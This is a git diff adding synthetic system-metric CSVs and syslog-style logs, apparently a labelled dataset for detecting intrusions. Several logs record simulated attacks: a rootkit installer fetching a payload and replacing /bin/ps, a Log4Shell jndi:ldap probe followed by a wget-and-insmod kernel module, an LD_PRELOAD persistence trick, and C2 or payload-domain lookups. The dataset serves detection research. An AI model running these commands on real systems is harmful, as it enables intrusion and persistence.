0000000000000000000000000000000000000000..32e3e73bb0f6f897ea29e27076e2ed00ae8630c2 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_23.log @@ -0,0 +1,12 @@ +Aug 26 14:00:00 systemd[1]: Starting Daily apt download activities... +Aug 26 14:00:15 web-app[3102]: GET /api/v1/health status=200 OK +Aug 26 14:00:40 aide[4512]: INFO: AIDE check found changes in system binaries. +Aug 26 14:00:41 aide[4512]: ALERT: File '/bin/ps' has been modified: new sha256 hash. +Aug 26 14:00:42 aide[4512]: ALERT: File '/bin/netstat' has been modified: new sha256 hash. +Aug 26 14:01:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:02:10 web-app[3102]: GET /api/v1/user/99 status=200 OK +Aug 26 14:03:05 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.1.5 DST=10.0.1.255 +Aug 26 14:04:20 log-monitor[6789]: WARNING: Log file '/var/log/auth.log' size has unexpectedly decreased. Possible tampering detected. +Aug 26 14:05:15 sudo[7123]: pam_unix(sudo:session): session opened for user root by admin(uid=0) +Aug 26 14:06:00 systemd[1]: Starting Log Rotation... +Aug 26 14:07:25 web-app[3102]: POST /api/v1/submit status=201 CREATED diff --git a/mali_dataset/scenario_6/mali_6_24.csv b/mali_dataset/scenario_6/mali_6_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..e2accfe22fad23f9d0fc1d884b7a7a9db537e351 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,17.68,49.96,25.61,1.27,0.62 +2025-08-26T10:00:05Z,23.31,44.27,22.94,0.87,0.66 +2025-08-26T10:00:10Z,15.73,41.56,32.49,1.49,0.68 +2025-08-26T10:00:15Z,23.42,42.97,30.56,0.89,1.01 +2025-08-26T10:00:20Z,15.72,40.36,22.0,0.91,1.27 +2025-08-26T10:00:25Z,16.75,46.63,22.82,0.97,1.06 +2025-08-26T10:00:30Z,24.58,43.5,33.8,0.88,1.3 +2025-08-26T10:00:35Z,20.6,41.81,26.74,0.95,1.01 +2025-08-26T10:00:40Z,15.74,41.65,28.84,1.34,0.81 +2025-08-26T10:00:45Z,23.01,45.55,23.22,1.05,0.7 +2025-08-26T10:00:50Z,18.83,45.24,22.91,1.16,0.93 +2025-08-26T10:00:55Z,18.84,44.73,20.85,0.82,0.68 +2025-08-26T10:01:00Z,15.68,46.1,31.71,1.21,0.91 +2025-08-26T10:01:05Z,19.14,44.37,21.93,1.32,0.74 +2025-08-26T10:01:10Z,23.84,45.96,28.07,1.05,0.8 +2025-08-26T10:01:15Z,24.05,49.05,33.65,1.27,1.07 +2025-08-26T10:01:20Z,16.7,40.11,28.03,1.23,0.63 +2025-08-26T10:01:25Z,16.87,43.23,21.19,1.11,1.26 +2025-08-26T10:01:30Z,20.89,42.19,25.22,1.24,1.25 +2025-08-26T10:01:35Z,24.82,47.94,30.53,0.94,1.04 +2025-08-26T10:01:40Z,15.23,48.72,30.83,1.13,0.81 +2025-08-26T10:01:45Z,15.89,48.82,24.85,0.96,0.67 +2025-08-26T10:01:50Z,16.12,49.67,30.83,1.19,0.92 +2025-08-26T10:01:55Z,20.53,42.29,20.23,0.92,1.08 +2025-08-26T10:02:00Z,22.71,46.85,26.59,1.11,0.93 +2025-08-26T10:02:05Z,21.29,47.43,31.23,1.23,1.25 +2025-08-26T10:02:10Z,21.36,45.87,20.81,0.9,1.16 +2025-08-26T10:02:15Z,15.24,46.59,20.92,1.01,0.85 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+2025-08-26T10:07:20Z,19.85,42.64,32.49,0.96,0.92 +2025-08-26T10:07:25Z,19.26,42.79,23.83,1.27,0.8 diff --git a/mali_dataset/scenario_6/mali_6_24.log b/mali_dataset/scenario_6/mali_6_24.log new file mode 100644 index 0000000000000000000000000000000000000000..32f7f7d16e869798a176a19fc4c002af0c3108b7 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_24.log @@ -0,0 +1,16 @@ +Aug 26 10:00:05 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:20 web-app[1357]: GET /api/v1/health status=200 OK +Aug 26 10:00:45 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:01:10 aide[7123]: AIDE detected changes to system binaries. Rule: 'SysBin'. +Aug 26 10:01:11 aide[7123]: changed: /bin/ps +Aug 26 10:01:11 aide[7123]: changed: /usr/bin/top +Aug 26 10:01:12 aide[7123]: changed: /bin/netstat +Aug 26 10:01:35 aide[7123]: AIDE detected changes to log files. Rule: 'LogFiles'. +Aug 26 10:01:36 aide[7123]: changed: /var/log/auth.log +Aug 26 10:02:00 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 26 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 26 10:03:00 sshd[7890]: Connection closed by 192.168.1.10 port 54321 [preauth] +Aug 26 10:04:00 CRON[8123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:05:00 web-app[1357]: GET /api/v1/health status=200 OK +Aug 26 10:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 26 10:07:00 web-app[1357]: GET /api/v1/user/99 status=200 OK diff --git a/mali_dataset/scenario_6/mali_6_3.csv b/mali_dataset/scenario_6/mali_6_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..8b8d3c379037fdb0e0e50a604eba85e32d105006 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T09:10:00Z,19.84,43.55,30.63,1.4,1.33 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+2025-08-17T09:16:45Z,22.33,45.38,26.25,1.6,1.92 +2025-08-17T09:16:50Z,19.36,48.53,25.12,1.15,1.63 +2025-08-17T09:16:55Z,20.25,49.76,27.11,1.63,1.96 +2025-08-17T09:17:00Z,19.39,47.63,26.43,1.04,1.11 +2025-08-17T09:17:05Z,23.09,43.29,27.94,0.89,1.39 +2025-08-17T09:17:10Z,21.84,44.49,34.86,1.31,1.17 +2025-08-17T09:17:15Z,27.71,42.14,28.38,0.99,1.9 +2025-08-17T09:17:20Z,21.5,43.64,34.65,1.32,1.6 +2025-08-17T09:17:25Z,25.72,46.97,30.22,1.73,1.36 diff --git a/mali_dataset/scenario_6/mali_6_3.log b/mali_dataset/scenario_6/mali_6_3.log new file mode 100644 index 0000000000000000000000000000000000000000..2c8891032c13fd9ac69f3387076b3aae1eae2f97 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_3.log @@ -0,0 +1,7 @@ +Aug 17 09:10:30 sshd[21543]: Accepted password for j.smith from 195.22.28.1 port 51822 ssh2 +Aug 17 09:11:10 shell[21550]: (j.smith) CMD (gcc -shared -fPIC -o /home/j.smith/.local/libhax.so hax.c -ldl) +Aug 17 09:11:25 shell[21555]: (j.smith) CMD (echo 'export LD_PRELOAD=/home/j.smith/.local/libhax.so' >> /home/j.smith/.bashrc) +Aug 17 09:13:00 aide[22010]: AIDE detected changes to user home directories. +Aug 17 09:13:00 aide[22010]: File modified: /home/j.smith/.bashrc - timestamp or size changed. +Aug 17 09:14:10 sshd[21543]: pam_unix(sshd:session): session closed for user j.smith +Aug 17 09:16:40 auditd[1]: type=ANOM_PROMISCUOUS dev=eth0 prom=256 old_prom=0 auid=1001 ses=42 diff --git a/mali_dataset/scenario_6/mali_6_4.csv b/mali_dataset/scenario_6/mali_6_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..dbf27fc69a5ccb4964650f97d9c732b3ae32cf34 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T09:20:00Z,20.42,45.93,31.36,1.08,1.92 +2025-08-17T09:20:05Z,21.66,49.29,32.26,1.57,1.01 +2025-08-17T09:20:10Z,18.41,48.97,31.97,1.27,1.65 +2025-08-17T09:20:15Z,23.51,45.06,28.09,1.07,1.7 +2025-08-17T09:20:20Z,25.45,48.97,34.3,0.99,1.53 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+2025-08-17T09:27:05Z,27.56,48.8,34.98,1.22,1.72 +2025-08-17T09:27:10Z,26.7,47.95,31.78,1.16,1.79 +2025-08-17T09:27:15Z,20.0,42.06,30.37,0.94,1.95 +2025-08-17T09:27:20Z,23.32,44.08,34.14,1.51,1.87 +2025-08-17T09:27:25Z,27.71,45.33,32.27,1.35,1.06 diff --git a/mali_dataset/scenario_6/mali_6_4.log b/mali_dataset/scenario_6/mali_6_4.log new file mode 100644 index 0000000000000000000000000000000000000000..3c70853b1100faa521356c9144b68dfe749f6917 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_4.log @@ -0,0 +1,8 @@ +Aug 17 09:20:50 systemd[1]: Started User Manager for UID 1000. +Aug 17 09:21:40 systemd[1]: System rebooting. +Aug 17 09:22:10 kernel: [ 0.000000] Linux version 5.15.0-78-generic +Aug 17 09:22:30 systemd[1]: Starting Hostname Service... +Aug 17 09:22:40 systemd-resolved[789]: Sent DNS query for 'get.payload.cc' to 8.8.8.8 +Aug 17 09:25:00 aide[2410]: AIDE detected changes in /boot. +Aug 17 09:25:00 aide[2410]: File modified: /boot/grub/grub.cfg - hash mismatch. +Aug 17 09:26:40 sshd[2550]: Server listening on 0.0.0.0 port 22. diff --git a/mali_dataset/scenario_6/mali_6_5.csv b/mali_dataset/scenario_6/mali_6_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..918b574ed85b360728d20320ea525fbbb13d1e39 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T08:00:00Z,21.83,37.72,24.96,1.41,0.93 +2025-08-17T08:00:05Z,21.0,37.16,23.34,0.81,1.5 +2025-08-17T08:00:10Z,20.62,35.58,27.12,1.2,0.91 +2025-08-17T08:00:15Z,22.67,39.8,28.89,1.07,0.81 +2025-08-17T08:00:20Z,20.95,38.35,26.76,1.21,1.28 +2025-08-17T08:00:25Z,20.8,38.28,26.24,0.73,1.18 +2025-08-17T08:00:30Z,19.5,35.45,26.18,1.2,1.03 +2025-08-17T08:00:35Z,24.15,41.89,21.15,1.26,1.4 +2025-08-17T08:00:40Z,18.29,41.31,26.96,0.7,1.62 +2025-08-17T08:00:45Z,22.57,36.72,20.52,1.17,1.63 +2025-08-17T08:00:50Z,15.09,36.66,22.85,0.63,1.65 +2025-08-17T08:00:55Z,18.09,44.7,26.78,1.4,1.66 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+2025-08-17T08:06:00Z,15.72,41.86,26.55,1.3,1.08 +2025-08-17T08:06:05Z,18.19,43.19,24.63,1.07,1.61 +2025-08-17T08:06:10Z,17.94,40.74,28.15,0.91,0.92 +2025-08-17T08:06:15Z,23.62,38.18,22.58,0.72,0.84 +2025-08-17T08:06:20Z,19.83,35.23,22.47,1.28,0.8 +2025-08-17T08:06:25Z,19.46,35.17,25.03,1.26,1.32 +2025-08-17T08:06:30Z,22.62,39.8,24.93,0.95,1.53 +2025-08-17T08:06:35Z,23.22,43.74,20.8,0.61,0.97 +2025-08-17T08:06:40Z,23.36,39.97,29.76,1.18,1.78 +2025-08-17T08:06:45Z,23.45,37.87,28.44,1.08,1.4 +2025-08-17T08:06:50Z,16.32,44.47,24.71,0.85,1.36 +2025-08-17T08:06:55Z,21.8,36.97,24.87,0.92,1.17 +2025-08-17T08:07:00Z,24.31,44.8,24.7,1.43,1.23 +2025-08-17T08:07:05Z,22.38,42.59,20.52,1.25,1.09 +2025-08-17T08:07:10Z,15.72,38.69,26.59,0.98,1.11 +2025-08-17T08:07:15Z,17.36,35.88,21.59,1.06,1.43 +2025-08-17T08:07:20Z,17.18,44.04,28.13,1.46,1.79 +2025-08-17T08:07:25Z,19.36,41.84,20.1,0.84,0.88 diff --git a/mali_dataset/scenario_6/mali_6_5.log b/mali_dataset/scenario_6/mali_6_5.log new file mode 100644 index 0000000000000000000000000000000000000000..900dbc9853f326dcc41b7139ecccd2eb29b6712d --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_5.log @@ -0,0 +1,27 @@ +Aug 17 08:00:02 systemd[1]: Started Session 123 of user admin. +Aug 17 08:00:07 sshd[15234]: Accepted publickey for admin from 10.0.2.2 port 49152 ssh2 +Aug 17 08:00:15 cron[11432]: (root) CMD ( /usr/local/bin/health_check.sh) +Aug 17 08:00:45 systemd[1]: Starting daily execution of /etc/cron.daily/logrotate... +Aug 17 08:01:40 backdoor-installer[16881]: Downloading payload from http://192.168.100.5/payload.tar.gz... +Aug 17 08:01:55 backdoor-installer[16881]: Payload downloaded. Installing rootkit components. +Aug 17 08:02:00 backdoor-installer[16881]: Replacing system binary: /bin/ps +Aug 17 08:02:05 backdoor-installer[16881]: Replacing system binary: /bin/netstat +Aug 17 08:02:10 backdoor-installer[16881]: Installation complete. Cleaning up traces. +Aug 17 08:03:00 aide[17201]: AIDE detected changes to the filesystem. +Aug 17 08:03:00 aide[17201]: File modified: /bin/netstat - sha256 hash is now 'f5e6d7c8...' was 'b2c3d4e5...' +Aug 17 08:03:00 aide[17201]: File modified: /bin/ps - sha256 hash is now 'e3b0c442...' was 'a1b2c3d4...' +Aug 17 08:03:45 systemd[1]: Starting Clean php session files... +Aug 17 08:04:00 CRON[180048]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 17 08:04:10 systemd[1]: Starting Clean php session files... +Aug 17 08:04:35 systemd[1]: Starting Clean php session files... +Aug 17 08:05:00 CRON[180060]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 17 08:05:00 systemd[1]: Starting Clean php session files... +Aug 17 08:05:25 systemd[1]: Starting Clean php session files... +Aug 17 08:05:50 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.1 DST=104.21.23.44 PROTO=TCP SPT=... DPT=443 +Aug 17 08:05:50 systemd[1]: Starting Clean php session files... +Aug 17 08:06:00 CRON[180072]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 17 08:06:15 systemd[1]: Starting Clean php session files... +Aug 17 08:06:40 systemd-resolve[812]: Connect to C2 server at evil-domain.com:443 established. +Aug 17 08:06:40 systemd[1]: Starting Clean php session files... +Aug 17 08:07:00 CRON[180084]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 17 08:07:05 systemd[1]: Starting Clean php session files... diff --git a/mali_dataset/scenario_6/mali_6_6.csv b/mali_dataset/scenario_6/mali_6_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..83e325100991594a595be60c81b4b61c2c7984a8 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T09:00:00Z,24.38,40.87,29.84,1.03,1.19 +2025-08-17T09:00:05Z,19.25,46.06,25.59,1.69,1.68 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+2025-08-17T09:06:50Z,18.15,48.44,26.63,1.48,1.46 +2025-08-17T09:06:55Z,24.38,46.71,26.26,1.34,1.49 +2025-08-17T09:07:00Z,20.73,43.31,26.66,1.1,1.87 +2025-08-17T09:07:05Z,23.47,43.72,32.11,1.54,1.9 +2025-08-17T09:07:10Z,18.5,47.7,33.4,1.6,1.31 +2025-08-17T09:07:15Z,21.63,47.15,27.79,1.28,1.78 +2025-08-17T09:07:20Z,23.47,49.22,29.49,1.41,1.72 +2025-08-17T09:07:25Z,20.6,43.32,25.86,0.83,1.29 diff --git a/mali_dataset/scenario_6/mali_6_6.log b/mali_dataset/scenario_6/mali_6_6.log new file mode 100644 index 0000000000000000000000000000000000000000..595c09a5ff136556d32ec9c9a2d548fbd5d32e6f --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_6.log @@ -0,0 +1,7 @@ +Aug 17 09:00:05 nginx[1123]: 10.0.2.15 - - [17/Aug/2025:09:00:00 +0000] "GET /index.html HTTP/1.1" 200 345 "-" "Mozilla/5.0" +Aug 17 09:01:05 nginx[1123]: 188.166.175.10 - - [17/Aug/2025:09:01:05 +0000] "GET / ${jndi:ldap://188.166.175.10:1389/a} HTTP/1.1" 404 153 "-" "curl/7.68.0" +Aug 17 09:01:20 shell[18981]: (www-data) CMD (wget -O /tmp/kmod.ko http://malicious.host/kmod.ko) +Aug 17 09:01:35 shell[18995]: (root) CMD (insmod /tmp/kmod.ko) +Aug 17 09:01:36 kernel: [12345.678] Loaded kernel module 'kmod' (tainted) +Aug 17 09:02:30 kernel: [UFW AUDIT] IN= OUT=eth0 SRC=10.0.0.5 DST=188.166.175.10 LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=53 DPT=53 LEN=20 +Aug 17 09:03:20 cron[19100]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_6/mali_6_7.csv b/mali_dataset/scenario_6/mali_6_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..8b8d3c379037fdb0e0e50a604eba85e32d105006 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T09:10:00Z,19.84,43.55,30.63,1.4,1.33 +2025-08-17T09:10:05Z,22.2,48.44,29.83,1.67,1.47 +2025-08-17T09:10:10Z,26.11,42.28,31.47,1.11,1.8 +2025-08-17T09:10:15Z,21.6,45.45,29.42,1.68,1.86 +2025-08-17T09:10:20Z,21.86,44.78,28.26,1.54,1.14 +2025-08-17T09:10:25Z,27.74,40.66,28.79,0.87,1.4 +2025-08-17T09:10:30Z,18.72,49.38,25.9,1.21,1.81 +2025-08-17T09:10:35Z,18.41,49.03,25.3,1.44,1.67 +2025-08-17T09:10:40Z,25.65,46.7,34.43,0.82,1.94 +2025-08-17T09:10:45Z,23.9,46.6,31.18,0.97,1.96 +2025-08-17T09:10:50Z,26.2,46.64,29.24,0.81,1.65 +2025-08-17T09:10:55Z,22.11,43.69,28.36,1.12,1.31 +2025-08-17T09:11:00Z,27.23,41.89,30.75,1.73,1.91 +2025-08-17T09:11:05Z,26.83,42.77,26.89,1.2,1.41 +2025-08-17T09:11:10Z,20.42,42.37,25.93,0.94,1.86 +2025-08-17T09:11:15Z,24.61,40.41,26.83,1.24,1.24 +2025-08-17T09:11:20Z,19.77,43.3,30.88,1.66,1.31 +2025-08-17T09:11:25Z,19.8,48.93,30.97,1.16,1.73 +2025-08-17T09:11:30Z,18.9,49.24,31.15,0.92,1.13 +2025-08-17T09:11:35Z,23.63,42.53,32.82,1.52,1.36 +2025-08-17T09:11:40Z,25.32,49.68,32.19,0.99,1.16 +2025-08-17T09:11:45Z,21.41,44.74,32.84,1.17,1.35 +2025-08-17T09:11:50Z,19.66,48.35,25.58,0.96,1.44 +2025-08-17T09:11:55Z,20.55,42.74,34.03,1.65,1.96 +2025-08-17T09:12:00Z,23.4,44.77,26.67,1.17,1.4 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+2025-08-17T09:13:45Z,27.07,45.25,25.05,1.49,1.48 +2025-08-17T09:13:50Z,22.27,40.51,28.02,1.52,1.05 +2025-08-17T09:13:55Z,27.93,47.39,30.6,0.97,1.05 +2025-08-17T09:14:00Z,23.43,41.46,30.59,0.97,1.11 +2025-08-17T09:14:05Z,25.45,48.38,33.34,0.85,1.44 +2025-08-17T09:14:10Z,22.49,45.74,31.74,0.83,1.62 +2025-08-17T09:14:15Z,26.87,42.71,31.97,1.5,1.97 +2025-08-17T09:14:20Z,18.41,42.94,29.23,1.28,1.09 +2025-08-17T09:14:25Z,24.79,43.01,28.47,1.25,1.1 +2025-08-17T09:14:30Z,24.34,44.56,30.07,0.81,1.61 +2025-08-17T09:14:35Z,22.44,43.73,33.8,1.15,1.65 +2025-08-17T09:14:40Z,24.03,43.58,34.69,0.88,2.0 +2025-08-17T09:14:45Z,26.08,43.82,25.13,1.46,1.98 +2025-08-17T09:14:50Z,18.86,41.29,27.44,0.87,1.73 +2025-08-17T09:14:55Z,25.82,47.54,28.78,1.72,1.8 +2025-08-17T09:15:00Z,21.12,46.44,31.66,1.39,1.35 +2025-08-17T09:15:05Z,22.89,47.18,28.89,1.61,1.62 +2025-08-17T09:15:10Z,26.63,43.09,26.43,1.72,1.35 +2025-08-17T09:15:15Z,22.86,49.29,26.44,0.94,1.87 +2025-08-17T09:15:20Z,22.84,45.53,31.69,0.88,1.3 +2025-08-17T09:15:25Z,24.66,44.05,32.22,1.75,1.04 +2025-08-17T09:15:30Z,24.14,43.55,31.22,0.97,1.58 +2025-08-17T09:15:35Z,27.62,49.4,25.73,0.98,1.08 +2025-08-17T09:15:40Z,19.38,49.29,26.05,0.93,1.54 +2025-08-17T09:15:45Z,18.42,43.96,27.91,0.84,1.69 +2025-08-17T09:15:50Z,18.58,41.98,28.7,0.81,1.33 +2025-08-17T09:15:55Z,26.87,40.93,30.28,1.26,1.02 +2025-08-17T09:16:00Z,25.05,45.98,28.8,1.65,1.81 +2025-08-17T09:16:05Z,23.3,43.59,29.59,1.58,1.05 +2025-08-17T09:16:10Z,25.54,40.65,32.03,0.82,1.62 +2025-08-17T09:16:15Z,25.51,46.43,33.33,1.22,1.19 +2025-08-17T09:16:20Z,26.83,47.55,30.83,1.15,1.87 +2025-08-17T09:16:25Z,23.47,45.8,29.08,1.59,1.86 +2025-08-17T09:16:30Z,26.4,49.35,34.83,1.59,1.04 +2025-08-17T09:16:35Z,27.7,43.54,33.49,0.8,1.12 +2025-08-17T09:16:40Z,21.46,43.84,33.1,1.27,1.12 +2025-08-17T09:16:45Z,22.33,45.38,26.25,1.6,1.92 +2025-08-17T09:16:50Z,19.36,48.53,25.12,1.15,1.63 +2025-08-17T09:16:55Z,20.25,49.76,27.11,1.63,1.96 +2025-08-17T09:17:00Z,19.39,47.63,26.43,1.04,1.11 +2025-08-17T09:17:05Z,23.09,43.29,27.94,0.89,1.39 +2025-08-17T09:17:10Z,21.84,44.49,34.86,1.31,1.17 +2025-08-17T09:17:15Z,27.71,42.14,28.38,0.99,1.9 +2025-08-17T09:17:20Z,21.5,43.64,34.65,1.32,1.6 +2025-08-17T09:17:25Z,25.72,46.97,30.22,1.73,1.36 diff --git a/mali_dataset/scenario_6/mali_6_7.log b/mali_dataset/scenario_6/mali_6_7.log new file mode 100644 index 0000000000000000000000000000000000000000..2c8891032c13fd9ac69f3387076b3aae1eae2f97 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_7.log @@ -0,0 +1,7 @@ +Aug 17 09:10:30 sshd[21543]: Accepted password for j.smith from 195.22.28.1 port 51822 ssh2 +Aug 17 09:11:10 shell[21550]: (j.smith) CMD (gcc -shared -fPIC -o /home/j.smith/.local/libhax.so hax.c -ldl) +Aug 17 09:11:25 shell[21555]: (j.smith) CMD (echo 'export LD_PRELOAD=/home/j.smith/.local/libhax.so' >> /home/j.smith/.bashrc) +Aug 17 09:13:00 aide[22010]: AIDE detected changes to user home directories. +Aug 17 09:13:00 aide[22010]: File modified: /home/j.smith/.bashrc - timestamp or size changed. +Aug 17 09:14:10 sshd[21543]: pam_unix(sshd:session): session closed for user j.smith +Aug 17 09:16:40 auditd[1]: type=ANOM_PROMISCUOUS dev=eth0 prom=256 old_prom=0 auid=1001 ses=42 diff --git a/mali_dataset/scenario_6/mali_6_8.csv b/mali_dataset/scenario_6/mali_6_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..dbf27fc69a5ccb4964650f97d9c732b3ae32cf34 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T09:20:00Z,20.42,45.93,31.36,1.08,1.92 +2025-08-17T09:20:05Z,21.66,49.29,32.26,1.57,1.01 +2025-08-17T09:20:10Z,18.41,48.97,31.97,1.27,1.65 +2025-08-17T09:20:15Z,23.51,45.06,28.09,1.07,1.7 +2025-08-17T09:20:20Z,25.45,48.97,34.3,0.99,1.53 +2025-08-17T09:20:25Z,18.69,49.96,29.05,0.95,1.74 +2025-08-17T09:20:30Z,22.81,49.52,29.11,1.65,1.96 +2025-08-17T09:20:35Z,25.11,42.61,33.18,1.38,1.9 +2025-08-17T09:20:40Z,20.89,46.0,28.5,0.99,1.09 +2025-08-17T09:20:45Z,27.13,40.54,26.82,1.64,1.36 +2025-08-17T09:20:50Z,25.27,49.8,31.83,1.08,1.98 +2025-08-17T09:20:55Z,21.25,40.5,34.01,1.2,1.76 +2025-08-17T09:21:00Z,19.14,47.36,32.84,1.42,1.51 +2025-08-17T09:21:05Z,18.96,49.3,34.79,1.5,1.64 +2025-08-17T09:21:10Z,18.55,47.51,34.35,1.42,1.74 +2025-08-17T09:21:15Z,23.42,45.54,26.95,1.72,1.57 +2025-08-17T09:21:20Z,21.9,43.8,28.2,1.07,1.98 +2025-08-17T09:21:25Z,20.68,40.84,33.09,1.7,1.61 +2025-08-17T09:21:30Z,25.7,43.49,32.81,1.22,1.6 +2025-08-17T09:21:35Z,24.17,48.49,27.57,0.95,1.3 +2025-08-17T09:21:40Z,18.31,41.15,32.1,1.79,1.79 +2025-08-17T09:21:45Z,20.49,47.29,32.37,1.55,1.3 +2025-08-17T09:21:50Z,18.1,48.24,28.91,1.18,1.6 +2025-08-17T09:21:55Z,23.12,43.91,29.8,1.29,1.6 +2025-08-17T09:22:00Z,18.69,47.46,30.7,1.18,1.05 +2025-08-17T09:22:05Z,24.37,47.94,34.91,1.1,1.44 +2025-08-17T09:22:10Z,26.61,40.67,26.36,1.47,1.87 +2025-08-17T09:22:15Z,20.14,47.78,26.31,1.76,1.55 +2025-08-17T09:22:20Z,24.27,42.28,25.34,1.64,1.46 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+2025-08-17T09:25:45Z,23.99,40.08,32.65,1.23,1.07 +2025-08-17T09:25:50Z,20.8,44.16,28.29,1.67,1.96 +2025-08-17T09:25:55Z,18.38,44.07,30.63,1.78,1.6 +2025-08-17T09:26:00Z,25.58,41.83,27.88,1.23,1.43 +2025-08-17T09:26:05Z,20.99,49.06,30.92,1.4,1.9 +2025-08-17T09:26:10Z,24.3,41.65,30.9,1.0,1.47 +2025-08-17T09:26:15Z,24.8,46.99,34.54,1.11,1.9 +2025-08-17T09:26:20Z,26.19,41.63,33.32,1.54,1.56 +2025-08-17T09:26:25Z,20.8,41.0,29.54,1.26,1.93 +2025-08-17T09:26:30Z,27.49,46.2,31.32,1.52,1.59 +2025-08-17T09:26:35Z,25.59,49.46,33.17,1.64,1.24 +2025-08-17T09:26:40Z,26.3,46.13,31.3,1.11,1.78 +2025-08-17T09:26:45Z,19.05,42.51,25.96,1.53,1.15 +2025-08-17T09:26:50Z,23.5,48.3,28.63,1.72,1.61 +2025-08-17T09:26:55Z,18.56,49.99,29.53,1.27,1.0 +2025-08-17T09:27:00Z,21.42,40.52,30.58,1.31,1.45 +2025-08-17T09:27:05Z,27.56,48.8,34.98,1.22,1.72 +2025-08-17T09:27:10Z,26.7,47.95,31.78,1.16,1.79 +2025-08-17T09:27:15Z,20.0,42.06,30.37,0.94,1.95 +2025-08-17T09:27:20Z,23.32,44.08,34.14,1.51,1.87 +2025-08-17T09:27:25Z,27.71,45.33,32.27,1.35,1.06 diff --git a/mali_dataset/scenario_6/mali_6_8.log b/mali_dataset/scenario_6/mali_6_8.log new file mode 100644 index 0000000000000000000000000000000000000000..3c70853b1100faa521356c9144b68dfe749f6917 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_8.log @@ -0,0 +1,8 @@ +Aug 17 09:20:50 systemd[1]: Started User Manager for UID 1000. +Aug 17 09:21:40 systemd[1]: System rebooting. +Aug 17 09:22:10 kernel: [ 0.000000] Linux version 5.15.0-78-generic +Aug 17 09:22:30 systemd[1]: Starting Hostname Service... +Aug 17 09:22:40 systemd-resolved[789]: Sent DNS query for 'get.payload.cc' to 8.8.8.8 +Aug 17 09:25:00 aide[2410]: AIDE detected changes in /boot. +Aug 17 09:25:00 aide[2410]: File modified: /boot/grub/grub.cfg - hash mismatch. +Aug 17 09:26:40 sshd[2550]: Server listening on 0.0.0.0 port 22. diff --git a/mali_dataset/scenario_6/mali_6_9.csv b/mali_dataset/scenario_6/mali_6_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..e5e738be46e418d478f1f001c269891543397553 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,16.89,43.14,40.76,0.86,0.4 +2025-07-02T11:00:05Z,13.68,37.63,31.5,0.7,0.4 +2025-07-02T11:00:10Z,15.18,41.57,24.57,0.9,0.53 +2025-07-02T11:00:15Z,16.39,39.65,32.08,1.5,1.4 +2025-07-02T11:00:20Z,11.3,34.49,24.17,1.21,0.59 +2025-07-02T11:00:25Z,11.25,42.38,28.71,0.5,1.09 +2025-07-02T11:00:30Z,14.65,38.97,25.34,1.2,1.01 +2025-07-02T11:00:35Z,13.25,37.18,31.32,1.09,0.79 +2025-07-02T11:00:40Z,13.94,41.03,24.51,0.55,0.4 +2025-07-02T11:00:45Z,13.88,46.78,29.43,0.91,0.61 +2025-07-02T11:00:50Z,15.7,39.32,28.01,1.16,0.4 +2025-07-02T11:00:55Z,15.13,45.99,33.67,1.5,0.53 +2025-07-02T11:01:00Z,15.34,37.12,27.3,1.21,0.4 +2025-07-02T11:01:05Z,12.55,38.51,30.65,0.67,0.73 +2025-07-02T11:01:10Z,16.54,38.5,22.97,1.06,0.6 +2025-07-02T11:01:15Z,18.23,40.6,31.24,0.72,1.35 +2025-07-02T11:01:20Z,14.52,40.96,25.55,1.04,1.4 +2025-07-02T11:01:25Z,15.14,42.54,29.13,1.11,0.55 